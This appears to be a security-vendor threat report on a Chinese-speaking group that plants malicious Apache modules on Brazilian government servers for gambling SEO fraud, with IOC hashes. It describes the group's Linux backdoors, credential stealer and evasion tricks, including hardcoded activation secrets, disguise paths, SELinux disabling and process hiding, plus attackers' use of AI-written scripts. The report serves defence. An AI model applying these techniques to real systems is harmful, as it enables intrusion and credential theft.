redhat

Research by: Amit Yardeni Key Points A Chinese-speaking actor is now targeting Brazil.  Check Point Research has uncovered a sustained campaign against Brazilian organizations, primarily government and educational institutions since mid-2025. We dubbed this group Gambling Goblin: a Chinese-speaking cybercrime cluster connected to a previously documented group, Earth Berberoka, that targeted gambling sites across Asia. It marks a shift from Brazil’s usual home-grown banking-trojan threats to a foreign operator moving in Compromised web servers turned into stealthy proxies.  The attackers compile and install malicious Apache modules on victim servers that silently reverse-proxy visitors to attacker-controlled phishing pages, while the traffic still appears to originate from the legitimate domain, with the site’s own security headers stripped so injected content runs freely. Large-scale SEO manipulation.  The phishing pages pose as trusted app stores such as Google Play, Microsoft Store, and Amazon. Behind that facade, they push online gambling and sports betting, and they chain together compromised high-reputation domains, many of them Brazilian government sites, to inflate search rankings and hijack traffic at scale. A broad, heavily obfuscated Linux toolkit.  Once inside a host, the group deploys custom tools – downloader ( DownPro ), multiple backdoors including the modular  AlphaAgent  and the  oRAT  RAT, a 3snake-based credential stealer, an SSH brute-forcer, and a plugin-driven reconnaissance agent. Most of them are wrapped in packing and virtualization layers to slow analysis and evade detection. The operation reaches well beyond Brazil.  We identified parallel phishing networks localized in Vietnamese, Spanish, and English, alongside infrastructure that generates fresh domains daily – evidence the model is built to scale and be exported to new regions. One step from direct malware delivery.  Because the pages already mimic app-download destinations, the same infrastructure sits a single configuration change away from pushing malware straight to victims, a latent escalation risk beyond the current search-fraud scheme. Introduction Since mid-2025, Check Point Research has tracked a sustained campaign against Brazilian organizations. The tradecraft points to a Chinese-speaking cybercrime group connected to Earth Berberoka, an actor first  documented  targeting gambling sites across Asia. Once inside a victim, the group deploys a broad Linux toolkit: a custom downloader, several backdoors, and familiar offensive utilities. Most of it arrives heavily obfuscated – wrapped in layered virtualization and packing to slow analysis and evade detection. The purpose becomes clear at the network layer. The attackers install custom Apache modules that quietly proxy visitors to a sprawling set of phishing pages. Many of those pages sit on Brazilian government domains that appear to have been compromised and repurposed without their owners’ knowledge. The reach extends beyond Brazil. We uncovered a second phishing network run by the same actor; this one is built for Vietnamese victims. The likely goal is SEO manipulation at scale. By hijacking trusted, high-reputation domains, many of them Brazilian government sites, the operators borrow that reputation to push their own content up the search rankings and hijack the traffic that follows. But the same infrastructure could serve a more dangerous end: the phishing pages impersonate app-download destinations such as Google Play, the Microsoft Store, and Amazon, which leaves the operators one step from pushing malware straight to victims. Infection Flow Figure 1 – Infection chain Initial Access We have not directly observed this group’s initial access, but a revealing artifact surfaced on one of their servers: an exposed open directory hosting an ELF binary written in Go that bundles numerous reconnaissance and scanning plugins. The toolset reads like a complete attack-surface-mapping pipeline for internet-facing targets. The group refers to this agent as “ cluster-asset-mapping ”, or “ cam-agent ” for short. It runs with a handful of flags: default  – long-lived worker session for orchestrated task dispatch f  – foreground mode without logging flog  – enable logging (use with  f ) h  – show help v  – show version Figure 2 – Cam-agent help message The agent carries a configuration that includes: worker_endpoint server_id project agent_token embedded PEM certificates and keys for the server and agent a plugin list report policies It logs to  payload-run.log  under the default directory of  /tmp/asset-scan . The agent reads the JSON report policies to decide how to run its scan. The policies are driven by the following fields: common web ports batch_size retry_count retry_backoff_seconds level Figure 3 – Network scan report policy The agent communicates with its server over gRPC, authenticating with the certificates and keys from its own configuration. It uses many known open-source pentesting tools as modules: dirprobe  – takes URLs and a directory list or profile, sends HTTP requests, and records the status code, response length, and title for each probed path. httpx  – takes URLs, ports, and HTTP options, then collects the status code, response length, title, protocol, TLS details, and banners from each target. naabu  – takes IPs or hostnames, port ranges, and a scan mode, attempts TCP connections across all targets, and marks each port as open, closed, or filtered. nuclei (v3)  – takes URLs, paths, and workflows, executes HTTP/DNS/TCP checks as defined by templates, and emits a structured result for each match (template ID, severity, affected URL, evidence). subfinder  – takes root domains, resolvers, and a depth, then enumerates subdomains via DNS brute force, certificate transparency, and passive sources, returning the discovered subdomains. whatweb  – a Wappalyzer-style fingerprinter that issues HTTP requests to each target and applies rules to identify web servers, frameworks, CMS platforms, JavaScript libraries, and more. Stealth phishing structure Apache Modules The group automates deployment of its malicious Apache module through a Bash installer. The script first confirms it is running as root, then fingerprints the host as either Debian/Ubuntu or CentOS/RedHat and pulls in the matching Apache development packages so the module can be compiled on the victim itself. It downloads the module’s C source,  opsproxy.c , from a hardcoded staging server and, notably, patches the source on the fly to insert a missing macro definition so the code compiles cleanly. This is a small touch that shows the operators built the module to run across a range of victim configurations. Compilation and installation are handled in a single step via Apache’s own  apxs  tooling, which also wires the module into the server’s configuration. What follows is a deliberate effort to hide the intrusion: the script deletes the source and all build artifacts, then timestomps the resulting  .so  and its load-configuration files to match legitimate, pre-existing Apache modules such as  mod_ssl  or  mod_suexec , so the malicious files blend in during a casual review. It then enables the stock proxy, headers, and rewrite modules the malicious module depends on, tests the configuration, and restarts Apache to bring everything live. Throughout, the script’s status messages are written in Chinese and decorated with emoji, a style that may point to AI-assisted development. Figure 4 – Checking the URL by the Apache module The source file,  opsproxy.c , reveals a purpose-built reverse proxy that quietly grafts attacker-controlled content onto a compromised web server. The module registers itself at Apache’s name-translation stage and inspects every incoming request for one of a small set of hardcoded URL prefixes which in our samples,  /wps ,  /bmw , and  /card . When a request matches, the module rewrites it into a reverse-proxy request to a corresponding upstream server hardcoded into the source, silently relaying the visitor to attacker infrastructure while the request still appears, to the outside world, to come from the legitimate compromised domain. To make that relayed content render without interference, the module strips the upstream site’s Content-Security-Policy headers. It replaces them with a deliberately permissive policy that allows inline and dynamically evaluated scripts, third-party assets, and  data:  and  blob:  sources. This removes the restrictions a browser’s CSP normally enforces, allowing injected or externally hosted scripts to execute freely. Figure 5 – CSP stripping so injected scripts can run The module also forwards the original  Host  header and adds standard proxy headers so the upstream sees a convincing request. The effect is a compromised, reputable server acting as a stealthy front door: certain paths transparently serve attacker content, and the browser protections that would ordinarily block foreign scripts are switched off for exactly those paths. Figure 6 – How the compromised .gov site relays attacker content to visitors A second ELF Apache module used by the group disguises itself as a basic filter module while registering request and response hooks that examine visitor headers, URI paths, referrers, and client IPs. It carries a static configuration, decrypts it with RC4, and parses it into two rule types: rule1  – an array of matching rules (path, referrer, or User-Agent, paired with a proxy URL) rule3  – an optional response-filtering or injection configuration Figure 7 – JSON struct example Using a compiled-in regex for  <body.*?>  to locate its injection point, the module expands placeholders such as  {host} ,  {hip} ,  {url} , and  {name} , fetches remote content with libcurl, and writes that content into Apache responses via  ap_rwrite  and bucket manipulation. This gives a remote service control over what selected visitors and crawlers see on the compromised server. This is a behavior consistent with SEO cloaking and content-injection malware. Brazilian infrastructure Fetching the content served from the three upstream IP addresses hard-coded in the proxy module reveals the phishing infrastructure itself. Each address hosts a page impersonating a trusted app-distribution platform, localized in Brazilian Portuguese ( lang="pt-BR" ) and dressed up with fabricated ratings, review counts, and structured  schema.org  metadata to appear legitimate to both users and search-engine crawlers. Figure 8 – Several phishing pages shown by the Apache module. All those IPs lean heavily on Bing’s thumbnail service ( tse-mm.bing.com ) to source imagery, tag their Open Graph and Twitter cards with  @GooglePlay  and  @microsoftstore  handles, and consistently theme around online gambling and sports betting aimed at a Brazilian audience – the actual monetization behind the campaign’s search-manipulation scheme. Tellingly, the pages carry Chinese-language CSS comments (for example a comment translating to “bottom navigation bar — fixed to the bottom on mobile, hidden on desktop”), the same operator fingerprint seen across the group’s server-side tooling. Inspecting the domain used by the second Apache module brought us to a domain called  playfootball[.]info  that has a phishing page similar to the earlier ones. Unlike the earlier upstream samples that pulled assets from Bing thumbnails and a fake CDN, this one loads Google’s real production assets – the actual  gstatic.com  Play Store CSS bundle, Material Icons fonts, and the genuine Google Play logo SVG. Figure 9 – The phishing page used by the second Apache module The most revealing finding from this page is that the app tiles and nav links don’t point to a single server; they point to dozens of real Brazilian domains, the majority of them legitimate  .gov.br  government sites, each serving the attacker’s gambling pages under paths like  /jogos  and  /nova . The compromised institutions span every level of Brazilian government. At the federal level, they include a government ministry and a national public agency. At the state level, victims include a state legislative assembly, state courts of accounts, and a state-owned utility. The largest share, however, is local government: municipal administrations spread across numerous cities and multiple states. A smaller set of commercial  .com.br  sites such as local news outlets, health clinics, and business associations rounds out the victims. Beyond Brazil As we pivoted through the phishing infrastructure, the trail led well beyond Brazil. Several of the IP addresses hosted subdomain and domain generators, giving the operators a fresh supply of domains every day – a rotation scheme built to outpace blocklists and takedowns. Figure 10 – Domain generator used by the group Some of the generated domains pointed to adult-content and gambling sites aimed at a Chinese-speaking audience, tying the infrastructure back to the operators’ origin and their long-running focus on the gambling sector. Figure 11 – A gambling site in Chinese from the domain generator list More telling, we found phishing pages built on the same template as the Brazilian ones, but localized in Vietnamese, Spanish, and English. The Brazilian operation is not a one-off: the same playbook is being adapted for other regions, and the infrastructure is clearly built to scale. Figure 12 – Phishing pages in Vietnamese and English The Attacker’s Arsenal Across these intrusions, the group draws on two kinds of tooling: well-known offensive utilities that any attacker might reach for, such as  netcat ,  fscan , and  pwnkit , and a broad set of custom tools written by the operators themselves: a downloader, several backdoors, a credential stealer, and purpose-built reconnaissance scripts. The sections below focus on that custom toolkit, which is where the group’s tradecraft shows. DownPro A downloader written in Go, referred to internally as  DownPro . Its job is to pull the rest of the toolkit onto a freshly compromised host and launch it. The binary is driven by a handful of flags, and a telling detail stands out immediately: their help strings are written in both English and Chinese. The flags are: u  – URL of the main backdoor to download id  – URL of the ChUser payload up  – URL of the  unix_updates  payload (the PasswordHarvester) j  – offline URL encryptor mode: it takes a plaintext URL via  u  and outputs the ciphertext to use as the flag value in real runs logs  – where to write logs The values passed to these flags are AES-GCM encrypted with a hardcoded key and Base64-encoded, so the operator supplies pre-encrypted URLs at runtime rather than leaving them in the clear. DownPro  then decides where to drop its payload based on its effective UID, preparing two sets of candidate destination paths: one for root, one for non-root. Running as root, it selects one of: /usr/local/bin/systemd-udevd /usr/local/bin/rsync-tsl /usr/local/bin/tcp-tsl /usr/local/bin/snapd-ext /usr/local/bin/fsck-disk /usr/local/bin/nftables-init These names are chosen to blend into a Linux server environment, either mimicking legitimate system components or looking like ordinary utility and network helpers. Running without root, it instead generates one of two temp-style names designed to pass as routine disk clutter: /tmp/php_sess_<32_hex_chars>  – mimicking a PHP session file /tmp/private-tmp-<5_alnum_chars>  – looking like an ephemeral temp artifact With the destination chosen, it downloads the file from the  -u  URL and executes it with the argument  -si . Figure 13 – DownPro main logic The two optional payloads are handled separately. When the  -id  flag is set,  DownPro  downloads a file to  /usr/bin/chuser , sets its permissions to  0755 , changes its owner to root, and timestomps it to match  /bin/ls  and turning it into a setuid helper that serves as a persistent local privilege-escalation backdoor. When the  -up  flag is set, it downloads a file to  /usr/sbin/unix_updates  and runs it with  -v FuckMe#988 , then strips the setuid bit from  /usr/bin/pkexec . ChUser A simple backdoor that masquerades as a  chuser  utility. It executes commands passed through the  -c  flag, but only after passing one of two activation checks: Remote HTTP activation  – the backdoor builds a  curl  command using the  -x <version>  flag and runs it. Activation succeeds only if the command’s output matches the expected value,  chuser no version . Local MD5-based activation  – the backdoor concatenates a user-supplied secret (from the  -s <secret>  flag) with a hardcoded salt,  FuCkMe# , computes the MD5 of  secret + salt , and compares it against a hardcoded target hash. Activation succeeds only on a match. PasswordHarvester A credential stealer based on  3snake  that monitors newly executed authentication programs, including  sshd ,  sudo ,  su ,  doas ,  ssh ,  ssh-add ,  passwd ,  kinit , and  login . On startup, it sets a clean  PATH  environment variable and installs signal handlers so the daemon can log and exit cleanly. It runs only as root, exiting otherwise, and gates execution behind a covert activation switch: the CRC32 of the  -v  argument must match a hardcoded value. Figure 14: CRC32 gate Once the CRC gate passes, the stealer resolves the host’s name and IPv4 addresses, then daemonizes by forking, calling  umask(0)  so it can freely control file permissions, changing its working directory to  /tmp , and redirecting stdout and stderr to a file. To hide itself, it picks at random from roughly 29 fake process names, such as: [kworker/1:2] [ksoftirqd/0] [watchdog/0] [systemd] [dbus-daemon] [journald] [migration/0] [ksmd] It overwrites the original  argv  with the chosen name and calls  prctl  to change the kernel-visible task name to match. The core logic then opens a netlink socket and subscribes to process events ( PROC_CN_MCAST_LISTEN ). On every process execution or UID change event, it checks whether the process name or command line matches one of the target programs listed above. When a match falls outside the expected path prefixes, it enters the interceptor flow: it attaches to the target with  ptrace , reads the credential buffers, and exfiltrates them to its C2, RC4-encrypted and Base64-encoded. AlphaAgent A modular backdoor written in Go, built to land quietly, blend into a busy host, take orders over an encrypted channel, and hand its operator everything they need to work through a network. On launch, AlphaAgent first checks whether it was invoked to finish an upgrade, so an in-progress self-update can complete cleanly. It then parses its command-line flags, validates its configured role and transport, and generates a Device ID from either the victim’s MAC address or the username combined with a hardcoded salt ( e*f#1%0d$6&5=6 ). After checking its debug flags ( DEBUG ,  VERBOSE , or neither), it decrypts its configuration strings using AES-GCM with a hardcoded key. Figure 19 – Device ID generation The configuration holds the region blocklist, the transport role and mode, the C2 domain, the TLS SNI camouflage value used for the certificates, and the directory, filename, and loader names for the rootkit. With its configuration in hand, the agent goes to ground. It renames its own process to pass as a kernel thread or a system daemon, choosing the disguise from its configuration profile and applying it by rewriting  argv[0]  or calling  prctl . The profiles are: aws  →  /usr/sbin/amazon-master  or  /usr/local/sbin/amazon-proxy google  →  /usr/bin/google_user_agent  or  /usr/bin/google_proxy_agent aliyun  →  rsyslogd general  → one of a set of kernel-thread-style names: "dbus-daemon -n%d" "scsi_eh_%d" "[migration/%d]" "[cpuhp/%d]" "[kworker/u%d:1]" "[watchdog/%d]" "[kswapd%d]" When not running as root, it falls back to  php-fpm: pool www  or  nginx: worker process . AlphaAgent then detaches into the background and writes a PID lock file under an innocuous path so that only one copy runs. It sleeps for a randomized interval which is long enough to outlast a quick sandbox detonation, and checks where it is running: if the host’s country matches the operators’ blocklist (China, in the samples we analyzed), the agent simply exits. Only after clearing that geofence does it enter its connect-and-retry loop and reach out to the server. Finally, if the  -r  flag is set at execution, AlphaAgent checks whether the rootkit’s kernel module is already loaded. If it is not, the agent installs it; the rootkit ships embedded inside the binary via Go’s  embed.FS  API. In all the samples we analyzed, we haven’t found any rootkits, only placeholders. Once connected, the agent enrolls, starts a heartbeat, and subscribes for jobs. How it talks to its server is a build-time choice, and each option is designed to look like something benign. The primary channel is  gRPC over HTTPS . The agent’s gRPC transport is built as a publish/subscribe service. The agent subscribes to receive jobs and publishes results back, and on top of that base, it opens dedicated streams for each interactive function rather than multiplexing everything through one pipe. There are separate streams for the web terminal, for uploads, for downloads, and for keepalive pings, and each exists in two directions an operator-facing set and an agent-facing set. That separation keeps a live terminal session responsive while a large file transfer runs in parallel. Three design choices make this channel hard to spot on the wire: uTLS fingerprint mimicry.  The agent uses a library that forges the TLS handshake of a real browser, so fingerprint-based detection (JA3/JA4-style) sees a normal Chrome-like client, not a Go program. Google and Cloudflare camouflage.  It presents  api.google.com  as its server name, serves a  .google.com  certificate, and dresses its HTTPS heartbeats as Google traffic with decoy cookies ( NID ,  SID , and similar) plus a custom proof scheme carried in Cloudflare-style parameters ( _cf_auth_ts ,  _cf_auth_nonce ,  _cf_auth_method ). The heartbeat side exposes handler paths like  /agent/heartbeat  and  /notifications/v1/push  to complete the illusion of a Google notification service. Encryption beneath the encryption.  Job and result messages are themselves AES-GCM encrypted before they travel inside the TLS session. Even an analyst who terminates the TLS still faces an encrypted payload. The Message fields of the communication: Message Message field 1: string cid (label=optional) - connection ID field 2: string mid (label=optional) - Message ID field 3: int32 command (label=optional) - specific command to run field 4: bytes data (label=optional) - data for command field 5: string topic (label=optional) - channel name field 6: bytes encrypted_data (label=optional) - encrypted payload field 7: string sid (label=optional) - stream ID field 8: string file_name (label=optional) - if there is a file field 9: string file_action (label=optional) - can be upload / download / delete / list The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through ,  which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled. The alternative channel is DNS. Here the same commands travel inside DNS queries: each job is encrypted, Base32-encoded, and split across DNS labels, then exchanged as TXT-style traffic on port 53. Many environments scrutinize outbound web sessions but wave DNS through which is exactly the point. A separate variant of the toolkit keeps things simpler still, tunneling its protocol over a plain HTTP connection with certificate checks disabled. Whichever channel it uses, the agent bootstraps through public DoH and GeoIP providers such as Cloudflare, Google, ipinfo, and others, both to resolve its server and to run the geofence check described above. At the center of the agent is a single job dispatcher. The server sends a numbered command; the dispatcher routes it to the matching handler. That design keeps the protocol compact and makes the feature set easy to summarize. The sections below cover the ones that matter most. Remote shell and interactive terminal  – The workhorse is remote command execution. A shell job is joined into a single string and run through  /bin/sh -c , and the combined output is captured and returned to the operator. The agent takes care to keep this quiet. It sets  HISTFILE=/dev/null  so commands leave no shell history behind. For interactive work, the agent goes beyond one-shot commands. It can allocate a real pseudo-terminal, launch a shell inside it, and stream that terminal to the operator as a browser-based “webtty” session. This gives an attacker a live, interactive shell with full terminal behavior, not just fire-and-forget commands, which is what you want for hands-on-keyboard operations. File Operations  – File handling is complete in both directions. The agent can download files to the host and upload files from it, with both direct and streamed transfer paths for larger data transfers. Alongside transfer, a file browser lets the operator list directories and walk the filesystem interactively before deciding what to take. Together, these turn the backdoor into a remote file manager for the compromised host. Tunneling and pivoting –  This is where the agent shows its intent to move laterally. It bundles a SOCKS5 proxy, a yamux-based multiplexer, and a Ligolo-style relay, turning the compromised host into a pivot point for the operators’ traffic. A dedicated relay mode lets the agent listen for inbound connections and forward them, so one foothold can open a path into the rest of an internal network. In the tunneling paths, certificate verification is deliberately turned off to keep the relay flexible. Relay Tunneling  – AlphaAgent can also be deployed not as an implant but as a  relay node . The agent validates a configured role at startup, and, in its tunnel-edge role, starts a listener and forwards traffic upstream to the command-and-control server on a different port, preserving the same gRPC streams. It uses its own embedded node token to identify itself in this mode. In other words, the operators can seed both endpoints – victims that call home and relay nodes that concentrate and forward that traffic – from one codebase. One build even carries a tag pointing to a specific tunnel geography ( [dns-hktun / Hong Kong] ), suggesting the relay tier is planned around location. Discovery and collection –  The reconnaissance is aimed squarely at spreading. Beyond a standard host and network inventory: hostname, users, running services, active network connections, interface addresses, and virtualization hints, the agent reads login history from  wtmp ,  utmp , and the system authentication logs, and enumerates current SSH sessions. It can then archive a victim’s  .ssh  directory and  .bash_history  into a compressed bundle for exfiltration. Read who logged in, grab their keys and history, and use the tunnel to reach the next host: the collection features are built to feed lateral movement, not just to profile a single machine. Worth flagging: the host inventory the agent sends home includes a  virtualization role  field, meaning the agent reports back whether it believes it is running inside a virtual machine or sandbox. That gives the operators a chance to abandon or lie low on analysis systems before doing anything noisy. AI Plugin  – The newest build we found, introduces something the earlier versions do not have: an AI plugin execution path. The evidence is currently limited to internal strings. The agent logs executing AI plugins when it runs one and recovers from failures through an AI plugin panic handler, so we can confirm the capability exists and is guarded like a first-class feature, but the sample does not reveal what the plugin is or does. In the code AlphaAgent gets scripts probably written by an AI orchestrator on the server side named “ ai_plugin_%s.sh ”, runs them and sends the result to the C2. Evasions  – The agent invests heavily in remaining unseen. It renames its process to impersonate legitimate kernel threads and services entries like  [kworker/...] ,  [kswapd...] ,  nginx: worker process , or  rsyslogd  and overwrites its own command-line arguments so tools that read them see the disguise too. It suppresses its own output to  /dev/null  and detaches as a daemon. Some builds go further and hide the process outright. On command, the agent can bind-mount over its own  /proc  entry, making itself invisible to anything that reads the process table – a lightweight but effective trick that needs no kernel module. Other builds do carry a kernel-module component, controlled through custom device commands, that hides processes and network connections at the kernel level and can stage an additional loader fetched from the operator. The encrypted configuration and the traffic camouflage described earlier round out an evasion posture that spans disk, process table, and network. One variant is packaged to defeat analysis itself. It is wrapped in a protector that strips the file’s structure, unpacks the real payload only in memory, obfuscates its internals, and watches for a debugger, popping a decoy error and exiting the moment it detects one. Same feature set underneath, hardened against the analyst. The full list of commands: Command IDArgsDescription2server parametersgRPC tunnel4server parametersSocksProxy (using Ligolo-ng)8command stringshell command execution10path, recursivefile browser / directory listing12processname, argv_nameprocess name spoofing14strings of several commandsMulti command AUTOSTART16connection hide + remote install + streaming upload18Install new Rootkit20Uninstall rootkit22unmount process –  CommandRunUNINSTALL 24Http based file transfer26gRPC file upload28gRPC file download30Tun socks relay start32Tun socks relay stop38Hide process via bind mount40Get SSH and bash history42System information collector44Registration acknowledgement46AI plugin execution48Agent upgrade oRAT oRAT is a Go-based Linux remote access trojan built for full remote administration of a compromised host. It starts with decrypting the configuration baked into the binary that contains: the C2 address, the install paths, the process disguise, and the hiding flags all live inside one encrypted blob and are only unpacked in memory. Unless told to skip it, the agent then runs its preparation routine, and this is where most of the damage is done before any traffic leaves the box. It configures logging to  /dev/null  by default, daemonizes, disables SELinux enforcement ( setenforce 0 ), installs itself to a persistent location, registers a service, writes a GUID, takes a file lock so only one copy runs, deletes its original on-disk copy if it was relocated, and optionally hides its own process. Only after all of that does it enter its main loop of communication. The agent’s communication routine supports three transports, selected by config: tcp  – a raw TCP connection stcp  – TLS over TCP sudp  – QUIC over UDP, using the quic-go library On top of whichever transport it picks, oRAT layers a multiplexed session and speaks HTTP through it. It uses a standard Go HTTP client, but rewrites the client’s dialer so every request is carried inside the established oRAT session instead of hitting the network directly. The agent registers with the server by posting a join request to  /join , then serves operator commands as REST-style routes over that same tunnel. Because oRAT exposes its capabilities as HTTP routes, its feature set reads almost like API documentation. The operator API includes: RouteCapability /agent/info Report host details (distribution, kernel, and more) /agent/ping Liveness check /agent/exec Run an operator-supplied command /agent/upload Write an uploaded file to a chosen path /agent/download Retrieve a file from the host /agent/screenshot Capture and return a screen image /agent/zip  ·  /agent/unzip Archive or extract chosen paths /agent/portscan Scan hosts and ports from the victim /agent/proxy Open a SOCKS proxy through the host /agent/net Forward a raw TCP connection to any target /agent/ssh Reach an embedded SSH / SFTP server /agent/upgrade Replace the running binary /agent/kill-self Delete the agent and exit oRAT offers two paths to run commands, and the second is the more interesting. The direct path is a command route that hands operator input to  sh -c  and returns the output, standard RAT behavior. The richer path is a fully  embedded SSH server . oRAT builds its own SSH service into the agent, complete with a hardcoded RSA host key, password authentication, port-forwarding, and an SFTP handler. When an operator connects, the agent spawns an interactive shell: trying  zsh , then  bash , then  sh  with proper pseudo-terminal handling. In practice, the operator gets a real SSH session and SFTP file access on the target, tunneled through the C2 channel rather than exposed on a listening port. oRAT’s persistence is quiet and well chosen. It installs itself to  /usr/local/bin/xtables-addons  and registers a systemd service named  xtables-addons , wired into the standard multi-user target so it starts on boot as root.  xtables-addons  is a real netfilter/iptables extension package, so an administrator glancing at the process list or the service table sees what looks like legitimate firewall tooling. If the agent lacks the privileges for a system-wide install, it falls back to per-user persistence through a user service and a cron entry. It also hides its identity in an unexpected place. The agent stores its GUID by appending a  # GUID: <uuid>  comment line to  /etc/protocols , a legitimate system file no one thinks to check. Its lock file sits at  /tmp/.lock . The evasion posture is layered and Linux-native: Process masquerade.  The agent sets its process name to  sshd: root@pts/0 , so it reads in the process table as an interactive root SSH session. One build reinforces this by spoofing its executable path as  /usr/sbin/sshd . Procfs hiding.  When its mount mode is enabled, the agent bind-mounts over its own  /proc/<pid>  entry, disrupting inspection of the running process through the proc filesystem. Silent by default.  Logging goes to  /dev/null  unless a specific debug environment variable is set. Together, these span the process table, the filesystem, the security policy, and the kernel’s view of the process, a broad effort to make the agent hard to notice and harder to inspect. BruteForcer An SSH credential-checking and brute-force utility. It reads target IP addresses ( -f  flag), usernames ( -u  flag), passwords ( -p  flag), or pre-combined  user:pass  pairs ( -up  flag) from operator-supplied files, then attempts concurrent SSH logins against each target. Successful credentials are printed and appended in plaintext to a local results file,  res.txt . The binary has no hardcoded C2 infrastructure or persistence mechanism and its sole purpose is credential access against remote SSH services. Recon Scripts In some of the attacks we observed a number of Bash scripts with Chinese-language comments used by the attackers. The first,  info.sh , proceeds in four stages. It first pulls recent login activity to profile who uses the box. It then walks every user’s home directory, including root’s, to inventory  .ssh  folders, flag any files containing private keys, and comb  .bash_history  for sensitive commands involving SSH, SCP, database clients, cloud tooling, credentials, and  kubectl , a fast way to harvest reusable secrets and understand the victim’s workflows. The third stage is the most refined: a storage analysis that hunts for remote network mounts (NFS, CIFS/Samba, WebDAV, cloud FUSE) and Docker volumes while deliberately filtering out overlay, tmpfs, and container-ID noise, so the operator sees only genuine lateral-movement targets rather than local container clutter – a sign the author iterated on the tool to cut false positives. Finally, it gathers classic lateral-movement intelligence:  /etc/hosts  entries, local listening TCP ports, and the ARP neighbor table to reveal adjacent hosts on the network. Figure 15 – Third stage of info.sh The second script,  findweb.sh , surveys a compromised host’s web-server landscape and maps out every site it serves. It first detects which web servers are running (Nginx, Apache, or httpd) using several fallback methods, and extends the check to containerized deployments by inspecting Docker for web-server images and any containers publishing ports 80 or 443 to the host. Where possible, it reports the ports each server listens on. It then parses the server configurations directly: for Nginx it walks the common configuration directories, resolving symbolic links and de-duplicating by real path, then extracts each virtual host’s domain ( server_name ), web root, and any  proxy_pass  upstreams; for Apache and httpd it does the equivalent, pulling  DocumentRoot ,  ServerName , and  ServerAlias  from every  VirtualHost  block across the standard Debian, RedHat, and common control-panel configuration paths. The result is a concise inventory of every domain hosted on the machine, where each site’s files live on disk, and where any existing reverse-proxy rules already point. In the context of this campaign, that inventory is exactly what an operator needs to weaponize a compromised server: it reveals which trusted domains are available to abuse, the exact web roots to plant content in, and where to graft the malicious proxy module so that attacker pages are served under a legitimate site’s name. Attribution and links to prior work We assess with medium-to-high confidence that  Gambling Goblin  is tied to  Earth Berberoka –  a Chinese-speaking threat cluster first documented by  Trend Micro  in 2022. Earth Berberoka is known for targeting online gambling platforms that serve Chinese-speaking users and operators, and for working across Windows, Linux, and macOS with a mix of aged commodity RATs and purpose-built tooling. Our assessment rests on three independent overlaps: the malware, the operator artifacts, and the network infrastructure. Tooling.  The group’s use of oRAT is the clearest link. oRAT was tied to Earth Berberoka in 2022, and the variant we analyzed shares the same  orat/cmd/agent  codebase and REST-style operator routes. The connection extends to the group’s custom malware: one of the AlphaAgent samples we recovered was uploaded in the same archive as other tools previously attributed to Earth Berberoka, placing AlphaAgent directly alongside the group’s known toolset rather than merely resembling it. Operator artifacts.  The focus on the online gambling sector and the Chinese-language strings scattered across this campaign’s tooling (dual-language flag descriptions, Chinese script comments, and Chinese-language page artifacts) align with operator fingerprints seen in the group’s past campaigns. Infrastructure.  The group has a documented habit of registering domains that impersonate trusted platforms. Trend Micro reported  github[.]wiki  as an Earth Berberoka domain while the infrastructure behind Gambling Goblin follows the same playbook: lookalike domains such as  github[.]la  and  gitlab[.]bet  closely mirror that tradecraft. Reinforcing the link, many of the C2 servers in this campaign are hosted on the same Amazon ASN ( AS16509 ) the group has relied on before. Conclusion This campaign marks a shift in who targets Brazil, and why. For years, the threats facing Brazilian users came mostly from home grown banking trojan crews. Brazil is a natural target for this kind of operator. It has become one of the world’s fastest-growing online-betting markets, with a vast base of mobile users accustomed to installing apps on the spot, which is exactly the audience a gambling-driven fraud operation wants to reach. For a Chinese-speaking group that has spent a decade monetizing the gambling sector, the money now runs through Brazil, and the infrastructure to exploit it is often trusted but under-secured. A vast base of mobile users conditioned to install apps on sight, and a sprawl of trusted but under-secured web servers, most of them on government  .gov.br  domains whose search reputation is exactly what a large-scale SEO-fraud operation needs. Compromise those servers, graft on a malicious Apache module, and the attacker turns a nation’s legitimate infrastructure into a distribution network for gambling pages and fake app stores. That is the notable part: this is not opportunistic crime but patient, industrialized abuse of reputation, and it is run with espionage-grade Linux tooling in the service of financially motivated fraud, blurring the line between cybercrime and APT. We expect the operation to grow rather than fade. The same infrastructure that inflates search rankings today is one configuration change away from serving malware tomorrow: the phishing pages already impersonate Google Play, the Microsoft Store, and Amazon, putting the operators a single step from pushing malicious apps straight to Brazilian victims. The Vietnamese, Spanish, and English pages we uncovered show the model is being exported, and the daily domain generators show it is built to scale. Countries should expect more of this, aimed higher, not only at customers and banking credentials, but at the government institutions whose domains lend the campaign its trust. None of it depends on novel exploits. It runs on unpatched internet-facing services, weak SSH credentials, and Apache modules that no one thinks to watch. If organizations, and public-sector operators in particular, do not close those gaps – patching exposed services, auditing Apache and SSH configurations, and hunting for rogue modules and masqueraded processes, then this actor and the wider wave of global cybercrime it represents, will keep finding an open door. IOCs Hashes: 232ef6be134c2b7c14648aa193daf7e23e987477b8a40150dd77883947fdf017 088d0742a667f1acfc83edb94671a10b951f6745badec6d5c754ef594dddf815 88544d36beb6dc621c9376806836d0ad109ece64b589605d5674e0c86313d1c0 9d3085eac9a59a94f0473db5ec0173def8777d2f794da281fb1749389ae33cdb 263c14e84398339b25cd3e59da7e108340306fdbb8112bbe7dc0f07a71eb8a31 12af9d95c44e20a375148c25f8a2978a62ee95489134654c3537ccfb2d42120d 5af1bec4635e52da4909bf744ea4b7e4483ec944241218855212f4a9e3d48611 e8bb763bd10e727228ca9a8e3e6cf10bf4de4639b6be680a3abfb181a0adc052 fa7fc029ac13af2f3880151e9c408e9afadeba7b2cff01659806fb7c3c83288d c3c09fe219e10808f053e580628aeb87b1f00fc683c810aa828905fe03cda98f 2567d6b42dac97a391217ad22ee375f504d541940d3fbb9436a3f5e9bb23ab91 1829efbf7946e1a958779a3e7f1e50ca63fe61c6a2ddc177c14a7b0c5e10020a f025520d648c7799ca5bed4a9be5bee14ac33be1f1e9b20c090c8c6319404fcf 5a11ed7931fb6358846e0f3c8d69921f43f8ccade5937fc41e5c262cc49f82e8 0d4a28d5cf7b99f11ffe972abd0284d9e35b6858eeb288532a55633b3e29f9c7 5f6d112637545a2e8c1a9f260c39698852c7a22e83db5ccfc99b99d9f6274710 c4d2efa57eef0c5defc4ca708ebe35832f8b543cf764beebef56fef6d36d4f69 c3c6ab58514cd13638cf049332186ef6d4ec7b256913edb1cd66a19437608882 